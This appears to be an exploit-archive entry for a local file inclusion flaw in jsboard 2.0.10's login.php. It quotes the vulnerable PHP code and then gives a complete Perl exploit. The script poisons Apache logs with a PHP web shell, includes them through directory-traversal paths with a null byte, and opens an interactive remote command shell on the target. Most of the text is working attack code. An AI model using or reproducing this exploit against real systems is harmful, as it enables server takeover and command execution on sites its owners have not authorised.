[VIM] true: jsboard 2.0.10(login.php table)Local File Inclusion Exploit

[str0ke]

login.php
===============
<?php
include "./include/version.php";
include "./include/print.php";
include "./include/get.php";
include "./include/check.php";
include "./include/error.php";
parse_query_str();

$agent = get_agent();
if(preg_match("/links|w3m|lynx/i",$agent['br'])) $textBrowser = 1;

if($table && file_exists("data/$table/config.php"))
  { include "data/$table/config.php"; }

#############################################

print.php -> contains the function parse_query_str();

function parse_query_str() {
  if(ini_get("register_globals")) return;

  if(count($_GET)) {
    foreach($_GET as $key => $value) {
      global ${$key};
      ${$key} = $value;
    }
  }

  if(count($_POST)) {
    foreach($_POST as $key => $value) {
      global ${$key};
      ${$key} = $value;
    }
  }
}

#################################

So pretty much we just need magic quotes = off so we can NULL the string.

/str0ke


--------------------------------------------------------

#!/usr/bin/perl
# jsboard 2.0.10(login.php table)Local File Inclusion Exploit
# D.Script: http://kldp.net/frs/download.php/1729/jsboard-2.0.10.tar.gz
# if($table && file_exists("data/$table/config.php"))
#  { include "data/$table/config.php"; }
# Discovered & Coded by : GolD_M = [Mahmood_ali]
# Contact:HackEr_ at w.Cn
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

use IO::Socket;
use LWP::Simple;

#ripped

@apache=(
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

if (@ARGV < 3) {
print "
===============================================================
# jsboard 2.0.10(login.php table)Local File Inclusion Exploit #
#           Gold.pl [Victim] / (apachepath)                   #
#        Ex: Gold.pl [Victim] / ../logs/error.log             #
===============================================================
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group  #
===============================================================
";
exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print "Code is injecting in logfiles...\n";
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host",
PeerPort=>"80") or die "Connection failed.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "user-Agent: ".$CODE."\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "Write END to exit!\n";
print "If not working try another apache path\n\n";

print "[shell] ";$cmd = <STDIN>;

while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host",
PeerPort=>"80") or die "Connection failed.\n\n";

#now include parameter

print $socket "GET
".$path."login.php?table=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

while ($raspuns = <$socket>)
{

print $raspuns;
}

print "[shell] ";
$cmd = <STDIN>;
}